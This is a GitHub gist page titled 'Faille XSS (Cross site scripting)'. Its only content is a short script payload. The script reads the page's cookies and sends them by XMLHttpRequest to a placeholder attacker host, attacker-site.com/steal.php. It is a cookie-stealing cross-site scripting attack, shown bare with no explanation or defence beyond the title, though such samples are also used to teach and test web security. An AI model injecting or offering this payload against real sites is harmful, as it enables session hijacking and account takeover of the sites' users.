Skip to content

Instantly share code, notes, and snippets.

@thierrypigot
Created March 14, 2023 14:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thierrypigot/80e96c9c6f1ad6cd5dfbb06811dd27c1 to your computer and use it in GitHub Desktop.
Save thierrypigot/80e96c9c6f1ad6cd5dfbb06811dd27c1 to your computer and use it in GitHub Desktop.
Faille XSS (Cross site scripting)
<script>
var cookies = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.attacker-site.com/steal.php?cookies=" + cookies, true);
xhr.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment